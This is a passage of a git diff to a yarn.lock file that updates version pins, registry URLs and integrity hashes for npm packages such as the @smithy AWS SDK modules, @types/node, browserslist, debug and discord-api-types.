-  integrity sha512-wNRoQC1uISOuNc2s4hkOYwYllmiyrvVXWMtq+TysNRVQaHm4yoafYQyjN/goYZS+QbYlPIbb/QRjaUZMuzwQ7A==
+"@smithy/protocol-http@^5.1.0", "@smithy/protocol-http@^5.1.1":
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/@smithy/protocol-http/-/protocol-http-5.1.1.tgz#95d998526cd806b7902b0440c3f25188945a2e2c"
+  integrity sha512-Vsay2mzq05DwNi9jK01yCFtfvu9HimmgC7a4HTs7lhX12Sx8aWsH0mfz6q/02yspSp+lOB+Q2HJwi4IV2GKz7A==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/protocol-http@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@smithy/protocol-http/-/protocol-http-5.1.0.tgz#ad34e336a95944785185234bebe2ec8dbe266936"
-  integrity sha512-KxAOL1nUNw2JTYrtviRRjEnykIDhxc84qMBzxvu1MUfQfHTuBlCG7PA6EdVwqpJjH7glw7FqQoFxUJSyBQgu7g==
+"@smithy/querystring-builder@^4.0.3":
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/querystring-builder/-/querystring-builder-4.0.3.tgz#056a17082e0a0ab10c817380d96321a8bba588fd"
+  integrity sha512-UUzIWMVfPmDZcOutk2/r1vURZqavvQW0OHvgsyNV0cKupChvqg+/NKPRMaMEe+i8tP96IthMFeZOZWpV+E4RAw==
   dependencies:
-    "@smithy/types" "^4.2.0"
-    tslib "^2.6.2"
-
-"@smithy/querystring-builder@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/querystring-builder/-/querystring-builder-4.0.2.tgz#834cea95bf413ab417bf9c166d60fd80d2cb3016"
-  integrity sha512-NTOs0FwHw1vimmQM4ebh+wFQvOwkEf/kQL6bSM1Lock+Bv4I89B3hGYoUEPkmvYPkDKyp5UdXJYu+PoTQ3T31Q==
-  dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     "@smithy/util-uri-escape" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/querystring-parser@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/querystring-parser/-/querystring-parser-4.0.2.tgz#d80c5afb740e12ad8b4d4f58415e402c69712479"
-  integrity sha512-v6w8wnmZcVXjfVLjxw8qF7OwESD9wnpjp0Dqry/Pod0/5vcEA3qxCr+BhbOHlxS8O+29eLpT3aagxXGwIoEk7Q==
+"@smithy/querystring-parser@^4.0.3":
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/querystring-parser/-/querystring-parser-4.0.3.tgz#ac8b26a23b7b9423734620cd025b5963bad764ae"
+  integrity sha512-K5M4ZJQpFCblOJ5Oyw7diICpFg1qhhR47m2/5Ef1PhGE19RaIZf50tjYFrxa6usqcuXyTiFPGo4d1geZdH4YcQ==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/service-error-classification@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/service-error-classification/-/service-error-classification-4.0.2.tgz#96740ed8be7ac5ad7d6f296d4ddf3f66444b8dcc"
-  integrity sha512-LA86xeFpTKn270Hbkixqs5n73S+LVM0/VZco8dqd+JT75Dyx3Lcw/MraL7ybjmz786+160K8rPOmhsq0SocoJQ==
+"@smithy/service-error-classification@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/service-error-classification/-/service-error-classification-4.0.4.tgz#63aef3b40db39ef7f04f4ffcca8bf4ef57ff5b23"
+  integrity sha512-W5ScbQ1bTzgH91kNEE2CvOzM4gXlDOqdow4m8vMFSIXCel2scbHwjflpVNnC60Y3F1m5i7w2gQg9lSnR+JsJAA==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
 
-"@smithy/shared-ini-file-loader@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.0.2.tgz#15043f0516fe09ff4b22982bc5f644dc701ebae5"
-  integrity sha512-J9/gTWBGVuFZ01oVA6vdb4DAjf1XbDhK6sLsu3OS9qmLrS6KB5ygpeHiM3miIbj1qgSJ96GYszXFWv6ErJ8QEw==
+"@smithy/shared-ini-file-loader@^4.0.2", "@smithy/shared-ini-file-loader@^4.0.3":
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.0.3.tgz#23fab0e773630b0817846c52c54b435ac32a4dd0"
+  integrity sha512-vHwlrqhZGIoLwaH8vvIjpHnloShqdJ7SUPNM2EQtEox+yEDFTVQ7E+DLZ+6OhnYEgFUwPByJyz6UZaOu2tny6A==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
 "@smithy/signature-v4@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@smithy/signature-v4/-/signature-v4-5.1.0.tgz#2c56e5b278482b04383d84ea2c07b7f0a8eb8f63"
-  integrity sha512-4t5WX60sL3zGJF/CtZsUQTs3UrZEDO2P7pEaElrekbLqkWPYkgqNW1oeiNYC6xXifBnT9dVBOnNQRvOE9riU9w==
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/@smithy/signature-v4/-/signature-v4-5.1.1.tgz#c9f6522936a427c689dd78d7ebf2e69faf286206"
+  integrity sha512-zy8Repr5zvT0ja+Tf5wjV/Ba6vRrhdiDcp/ww6cvqYbSEudIkziDe3uppNRlFoCViyJXdPnLcwyZdDLA4CHzSg==
   dependencies:
     "@smithy/is-array-buffer" "^4.0.0"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/types" "^4.2.0"
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/types" "^4.3.0"
     "@smithy/util-hex-encoding" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.2"
+    "@smithy/util-middleware" "^4.0.3"
     "@smithy/util-uri-escape" "^4.0.0"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/smithy-client@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.2.0.tgz#0c64cae4fb5bb4f26386e9b2c33fc9a3c24c9df3"
-  integrity sha512-Qs65/w30pWV7LSFAez9DKy0Koaoh3iHhpcpCCJ4waj/iqwsuSzJna2+vYwq46yBaqO5ZbP9TjUsATUNxrKeBdw==
+"@smithy/smithy-client@^4.2.6", "@smithy/smithy-client@^4.3.0":
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.3.0.tgz#05d2fa958ffbb9256c777a11b380aeba199295b3"
+  integrity sha512-DNsRA38pN6tYHUjebmwD9e4KcgqTLldYQb2gC6K+oxXYdCTxPn6wV9+FvOa6wrU2FQEnGJoi+3GULzOTKck/tg==
   dependencies:
-    "@smithy/core" "^3.2.0"
-    "@smithy/middleware-endpoint" "^4.1.0"
-    "@smithy/middleware-stack" "^4.0.2"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/types" "^4.2.0"
-    "@smithy/util-stream" "^4.2.0"
+    "@smithy/core" "^3.4.0"
+    "@smithy/middleware-endpoint" "^4.1.7"
+    "@smithy/middleware-stack" "^4.0.3"
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/types" "^4.3.0"
+    "@smithy/util-stream" "^4.2.1"
     tslib "^2.6.2"
 
-"@smithy/types@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@smithy/types/-/types-4.2.0.tgz#e7998984cc54b1acbc32e6d4cf982c712e3d26b6"
-  integrity sha512-7eMk09zQKCO+E/ivsjQv+fDlOupcFUCSC/L2YUPgwhvowVGWbPQHjEFcmjt7QQ4ra5lyowS92SV53Zc6XD4+fg==
+"@smithy/types@^4.2.0", "@smithy/types@^4.3.0":
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/@smithy/types/-/types-4.3.0.tgz#80a0da5ac907cfe9e97e89814bc7502626451580"
+  integrity sha512-+1iaIQHthDh9yaLhRzaoQxRk+l9xlk+JjMFxGRhNLz+m9vKOkjNeU8QuB4w3xvzHyVR/BVlp/4AXDHjoRIkfgQ==
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/url-parser@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/url-parser/-/url-parser-4.0.2.tgz#a316f7d8593ffab796348bc5df96237833880713"
-  integrity sha512-Bm8n3j2ScqnT+kJaClSVCMeiSenK6jVAzZCNewsYWuZtnBehEz4r2qP0riZySZVfzB+03XZHJeqfmJDkeeSLiQ==
+"@smithy/url-parser@^4.0.2", "@smithy/url-parser@^4.0.3":
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/url-parser/-/url-parser-4.0.3.tgz#ab0920cc98205f438a3064fb85161bc3c50625b4"
+  integrity sha512-n5/DnosDu/tweOqUUNtUbu7eRIR4J/Wz9nL7V5kFYQQVb8VYdj7a4G5NJHCw6o21ul7CvZoJkOpdTnsQDLT0tQ==
   dependencies:
-    "@smithy/querystring-parser" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@smithy/querystring-parser" "^4.0.3"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
 "@smithy/util-base64@^4.0.0":
@@ -1485,37 +1494,37 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-browser@^4.0.8":
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.8.tgz#77bc4590cdc928901b80f3482e79607a2cbcb150"
-  integrity sha512-ZTypzBra+lI/LfTYZeop9UjoJhhGRTg3pxrNpfSTQLd3AJ37r2z4AXTKpq1rFXiiUIJsYyFgNJdjWRGP/cbBaQ==
+"@smithy/util-defaults-mode-browser@^4.0.14":
+  version "4.0.15"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.15.tgz#4a76a59f2af347189bef0f49295004e0156667ac"
+  integrity sha512-bJJ/B8owQbHAflatSq92f9OcV8858DJBQF1Y3GRjB8psLyUjbISywszYPFw16beREHO/C3I3taW4VGH+tOuwrQ==
   dependencies:
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/smithy-client" "^4.2.0"
-    "@smithy/types" "^4.2.0"
+    "@smithy/property-provider" "^4.0.3"
+    "@smithy/smithy-client" "^4.3.0"
+    "@smithy/types" "^4.3.0"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-node@^4.0.8":
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.8.tgz#123b517efe6434977139b341d1f64b5f1e743aac"
-  integrity sha512-Rgk0Jc/UDfRTzVthye/k2dDsz5Xxs9LZaKCNPgJTRyoyBoeiNCnHsYGOyu1PKN+sDyPnJzMOz22JbwxzBp9NNA==
+"@smithy/util-defaults-mode-node@^4.0.14":
+  version "4.0.15"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.15.tgz#60383794aa743776db1ac9e24d2e03aefae508d4"
+  integrity sha512-8CUrEW2Ni5q+NmYkj8wsgkfqoP7l4ZquptFbq92yQE66xevc4SxqP2zH6tMtN158kgBqBDsZ+qlrRwXWOjCR8A==
   dependencies:
-    "@smithy/config-resolver" "^4.1.0"
-    "@smithy/credential-provider-imds" "^4.0.2"
-    "@smithy/node-config-provider" "^4.0.2"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/smithy-client" "^4.2.0"
-    "@smithy/types" "^4.2.0"
+    "@smithy/config-resolver" "^4.1.3"
+    "@smithy/credential-provider-imds" "^4.0.5"
+    "@smithy/node-config-provider" "^4.1.2"
+    "@smithy/property-provider" "^4.0.3"
+    "@smithy/smithy-client" "^4.3.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/util-endpoints@^3.0.2":
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/util-endpoints/-/util-endpoints-3.0.2.tgz#6933a0d6d4a349523ef71ca9540c9c0b222b559e"
-  integrity sha512-6QSutU5ZyrpNbnd51zRTL7goojlcnuOB55+F9VBD+j8JpRY50IGamsjlycrmpn8PQkmJucFW8A0LSfXj7jjtLQ==
+"@smithy/util-endpoints@^3.0.4":
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/util-endpoints/-/util-endpoints-3.0.5.tgz#92ce03a97c29f60b2e46df161797df88ec262f2d"
+  integrity sha512-PjDpqLk24/vAl340tmtCA++Q01GRRNH9cwL9qh46NspAX9S+IQVcK+GOzPt0GLJ6KYGyn8uOgo2kvJhiThclJw==
   dependencies:
-    "@smithy/node-config-provider" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@smithy/node-config-provider" "^4.1.2"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
 "@smithy/util-hex-encoding@^4.0.0":
@@ -1525,31 +1534,31 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/util-middleware@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/util-middleware/-/util-middleware-4.0.2.tgz#272f1249664e27068ef0d5f967a233bf7b77962c"
-  integrity sha512-6GDamTGLuBQVAEuQ4yDQ+ti/YINf/MEmIegrEeg7DdB/sld8BX1lqt9RRuIcABOhAGTA50bRbPzErez7SlDtDQ==
+"@smithy/util-middleware@^4.0.2", "@smithy/util-middleware@^4.0.3":
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/util-middleware/-/util-middleware-4.0.3.tgz#bb4176241ce0df21623a3c402ce55f94903f8161"
+  integrity sha512-iIsC6qZXxkD7V3BzTw3b1uK8RVC1M8WvwNxK1PKrH9FnxntCd30CSunXjL/8iJBE8Z0J14r2P69njwIpRG4FBQ==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/util-retry@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/util-retry/-/util-retry-4.0.2.tgz#9b64cf460d63555884e641721d19e3c0abff8ee6"
-  integrity sha512-Qryc+QG+7BCpvjloFLQrmlSd0RsVRHejRXd78jNO3+oREueCjwG1CCEH1vduw/ZkM1U9TztwIKVIi3+8MJScGg==
+"@smithy/util-retry@^4.0.3", "@smithy/util-retry@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/util-retry/-/util-retry-4.0.4.tgz#4e372f83aa83170eb95bc35a60be827555f90208"
+  integrity sha512-Aoqr9W2jDYGrI6OxljN8VmLDQIGO4VdMAUKMf9RGqLG8hn6or+K41NEy1Y5dtum9q8F7e0obYAuKl2mt/GnpZg==
   dependencies:
-    "@smithy/service-error-classification" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@smithy/service-error-classification" "^4.0.4"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/util-stream@^4.2.0":
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.0.tgz#85f85516b0042726162bf619caa3358332195652"
-  integrity sha512-Vj1TtwWnuWqdgQI6YTUF5hQ/0jmFiOYsc51CSMgj7QfyO+RF4EnT2HNjoviNlOOmgzgvf3f5yno+EiC4vrnaWQ==
+"@smithy/util-stream@^4.2.0", "@smithy/util-stream@^4.2.1":
+  version "4.2.1"
+  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.1.tgz#bc5358c4e1d5027b11411333f3190b7d5c104316"
+  integrity sha512-W3IR0x5DY6iVtjj5p902oNhD+Bz7vs5S+p6tppbPa509rV9BdeXZjGuRSCtVEad9FA0Mba+tNUtUmtnSI1nwUw==
   dependencies:
-    "@smithy/fetch-http-handler" "^5.0.2"
-    "@smithy/node-http-handler" "^4.0.4"
-    "@smithy/types" "^4.2.0"
+    "@smithy/fetch-http-handler" "^5.0.3"
+    "@smithy/node-http-handler" "^4.0.5"
+    "@smithy/types" "^4.3.0"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-buffer-from" "^4.0.0"
     "@smithy/util-hex-encoding" "^4.0.0"
@@ -1625,9 +1634,9 @@
     "@types/send" "*"
 
 "@types/express@^4.17.20":
-  version "4.17.21"
-  resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.21.tgz#c26d4a151e60efe0084b23dc3369ebc631ed192d"
-  integrity sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==
+  version "4.17.22"
+  resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.22.tgz#14cfcf120f7eb56ebb8ca77b7fa9a14d21de7c96"
+  integrity sha512-eZUmSnhRX9YRSkplpz0N+k6NljUUn5l3EWZIKZvYzhvMphEuNiyyy1viH/ejgt66JWgALwC/gtSUAeQKtSwW/w==
   dependencies:
     "@types/body-parser" "*"
     "@types/express-serve-static-core" "^4.17.33"
@@ -1675,9 +1684,9 @@
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
 "@types/node@*", "@types/node@>=13.7.0", "@types/node@^22.0.1", "@types/node@^22.5.4":
-  version "22.15.0"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.15.0.tgz#5fcf430c079da64e96028b87cbffc218a02685db"
-  integrity sha512-99S8dWD2DkeE6PBaEDw+In3aar7hdoBvjyJMR6vaKBTzpvR0P00ClzJMOoVrj9D2+Sy/YCwACYHnBTpMhg1UCA==
+  version "22.15.24"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.15.24.tgz#3b31f1650571c0123388db29d95c12e6f6761744"
+  integrity sha512-w9CZGm9RDjzTh/D+hFwlBJ3ziUaVw7oufKA3vOFSOZlzmW9AkZnfjPb+DLnrV6qtgL/LNmP0/2zBNCFHL3F0ng==
   dependencies:
     undici-types "~6.21.0"
 
@@ -1687,9 +1696,9 @@
   integrity sha512-fAtCfv4jJg+ExtXhvCkCqUKZ+4ok/JQk01qDKhL5BDDoS3AxKXhV5/MAVUZyQnSEd2GT92fkgZl0pz0Q0AzcIQ==
 
 "@types/qs@*":
-  version "6.9.18"
-  resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.9.18.tgz#877292caa91f7c1b213032b34626505b746624c2"
-  integrity sha512-kK7dgTYDyGqS+e2Q4aK9X3D7q234CIZ1Bv0q/7Z5IwRDoADNU81xXJK/YVyLbLTZCoIwUoDoffFeF+p/eIklAA==
+  version "6.14.0"
+  resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.14.0.tgz#d8b60cecf62f2db0fb68e5e006077b9178b85de5"
+  integrity sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==
 
 "@types/range-parser@*":
   version "1.2.7"
@@ -2557,9 +2566,9 @@ bluebird@^3.5.0:
   integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
 
 bn.js@^4.0.0:
-  version "4.12.1"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.1.tgz#215741fe3c9dba2d7e12c001d0cfdbae43975ba7"
-  integrity sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==
+  version "4.12.2"
+  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.2.tgz#3d8fed6796c24e177737f7cc5172ee04ef39ec99"
+  integrity sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==
 
 body-parser@1.20.3:
   version "1.20.3"
@@ -2619,21 +2628,21 @@ browser-or-node@^2.1.1:
   integrity sha512-8CVjaLJGuSKMVTxJ2DpBl5XnlNDiT4cQFeuCJJrvJmts9YrTZDizTX7PjC2s6W4x+MBGZeEY6dGMrF04/6Hgqg==
 
 browserslist@^4.24.0:
-  version "4.24.4"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.4.tgz#c6b2865a3f08bcb860a0e827389003b9fe686e4b"
-  integrity sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==
+  version "4.25.0"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.0.tgz#986aa9c6d87916885da2b50d8eb577ac8d133b2c"
+  integrity sha512-PJ8gYKeS5e/whHBh8xrwYK+dAvEj7JXtz6uTucnMRB8OiGTsKccFekoRrjajPBHV8oOY+2tI4uxeceSimKwMFA==
   dependencies:
-    caniuse-lite "^1.0.30001688"
-    electron-to-chromium "^1.5.73"
+    caniuse-lite "^1.0.30001718"
+    electron-to-chromium "^1.5.160"
     node-releases "^2.0.19"
-    update-browserslist-db "^1.1.1"
+    update-browserslist-db "^1.1.3"
 
 bson@^1.1.4:
   version "1.1.6"
   resolved "https://registry.yarnpkg.com/bson/-/bson-1.1.6.tgz#fb819be9a60cd677e0853aee4ca712a785d6618a"
   integrity sha512-EvVNVeGo4tHxwi8L6bPj3y3itEvStdwvvlojVxxbyYfoaxJ6keLgrTuKdyfEAszFK+H3olzBuafE0yoh0D1gdg==
 
-bson@^4.7.0:
+bson@^4.7.2:
   version "4.7.2"
   resolved "https://registry.yarnpkg.com/bson/-/bson-4.7.2.tgz#320f4ad0eaf5312dd9b45dc369cc48945e2a5f2e"
   integrity sha512-Ry9wCtIZ5kGqkJoi6aD8KjxFZEx78guTQDnpXWiNthsxzrxAK/i8E6pCHAIZTbaEFWcOCvbecMukfK7XUvyLpQ==
@@ -2650,7 +2659,7 @@ buffer-crc32@~0.2.3:
   resolved "https://registry.yarnpkg.com/buffer-crc32/-/buffer-crc32-0.2.13.tgz#0d333e3f00eac50aa1454abd30ef8c2a5d9a7242"
   integrity sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==
 
-buffer-equal-constant-time@1.0.1:
+buffer-equal-constant-time@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz#f8e71132f7ffe6e01a5c9697a4c6f3e48d5cc819"
   integrity sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==
@@ -2784,10 +2793,10 @@ camelcase@^5.0.0:
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
   integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
 
-caniuse-lite@^1.0.30001688:
-  version "1.0.30001715"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001715.tgz#bd325a37ad366e3fe90827d74062807a34fbaeb2"
-  integrity sha512-7ptkFGMm2OAOgvZpwgA4yjQ5SQbrNVGdRjzH0pBdy1Fasvcr+KAeECmbCAECzTuDuoX0FCY8KzUxjf9+9kfZEw==
+caniuse-lite@^1.0.30001718:
+  version "1.0.30001720"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001720.tgz#c138cb6026d362be9d8d7b0e4bcd0183a850edfd"
+  integrity sha512-Ec/2yV2nNPwb4DnTANEV99ZWwm3ZWfdlfkQbWSDDt+PsXEVYwlhPH8tdMaPunYTKKmz7AnHi2oNEi1GcmKCD8g==
 
 caseless@~0.12.0:
   version "0.12.0"
@@ -3096,9 +3105,9 @@ core-js@^2.4.0:
   integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==
 
 core-js@^3.30.2:
-  version "3.41.0"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.41.0.tgz#57714dafb8c751a6095d028a7428f1fb5834a776"
-  integrity sha512-SJ4/EHwS36QMJd6h/Rg+GyR4A5xE0FSI3eZ+iBVpfqf1x0eTSg1smWLHrA+2jQThZSh97fmSgFSU8B61nxosxA==
+  version "3.42.0"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.42.0.tgz#edbe91f78ac8cfb6df8d997e74d368a68082fe37"
+  integrity sha512-Sz4PP4ZA+Rq4II21qkNqOEDTDrCvcANId3xpIgB34NDkWc3UduWj2dqEtN9yZIq8Dk3HyPI33x9sqqU5C8sr0g==
 
 core-util-is@1.0.2:
   version "1.0.2"
@@ -3282,9 +3291,9 @@ debug@3.2.7:
     ms "^2.1.1"
 
 debug@4, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.3.3, debug@^4.3.4:
-  version "4.4.0"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
-  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.1.tgz#e5a8bc6cbc4c6cd3e64308b0693a3d4fa550189b"
+  integrity sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==
   dependencies:
     ms "^2.1.3"
 
@@ -3390,11 +3399,16 @@ detect-libc@^2.0.0:
   resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-2.0.4.tgz#f04715b8ba815e53b4d8109655b6508a6865a7e8"
   integrity sha512-3UDv+G9CsCKO1WKMGw9fwq/SWJYbI0c5Y7LU1AXYoDdbhE2AHQ6N6Nb34sG8Fj7T5APy8qXDCKuuIHd1BR0tVA==
 
-discord-api-types@^0.37.114, discord-api-types@^0.37.119, discord-api-types@^0.37.12, discord-api-types@^0.37.41:
+discord-api-types@^0.37.12, discord-api-types@^0.37.41:
   version "0.37.120"
   resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.37.120.tgz#ad7209930509c4cee3efddbacc77a1b18cf66d34"
   integrity sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==
 
+discord-api-types@^0.38.1:
+  version "0.38.8"
+  resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.38.8.tgz#ad69f82c85a510c5778ca152dfa9a91b9e43d8a6"
+  integrity sha512-xuRXPD44FcbKHrQK15FS1HFlMRNJtsaZou/SVws18vQ7zHqmlxyDktMkZpyvD6gE2ctGOVYC/jUyoMMAyBWfcw==
+
 discord.js@14.6.0:
   version "14.6.0"
   resolved "https://registry.yarnpkg.com/discord.js/-/discord.js-14.6.0.tgz#896f7540d4c6f190dffe91d2f3e9a9f7cbc8bd26"
@@ -3499,10 +3513,10 @@ ee-first@1.1.1:
   resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
-electron-to-chromium@^1.5.73:
-  version "1.5.142"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.142.tgz#1de55d0d19b24b07768c4bfc90f41bd7f248d043"
-  integrity sha512-Ah2HgkTu/9RhTDNThBtzu2Wirdy4DC9b0sMT1pUhbkZQ5U/iwmE+PHZX1MpjD5IkJCc2wSghgGG/B04szAx07w==
+electron-to-chromium@^1.5.160:
+  version "1.5.161"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.161.tgz#650376bd3be7ff8e581031409fc2d4f150620b12"
+  integrity sha512-hwtetwfKNZo/UlwHIVBlKZVdy7o8bIZxxKs0Mv/ROPiQQQmDgdm5a+KvKtBsxM8ZjFzTaCeLoodZ8jiBE3o9rA==
 
 emoji-regex@^7.0.1:
   version "7.0.3"
@@ -3576,26 +3590,26 @@ error-ex@^1.3.1:
     is-arrayish "^0.2.1"
 
 es-abstract@^1.23.2, es-abstract@^1.23.5, es-abstract@^1.23.9:
-  version "1.23.9"
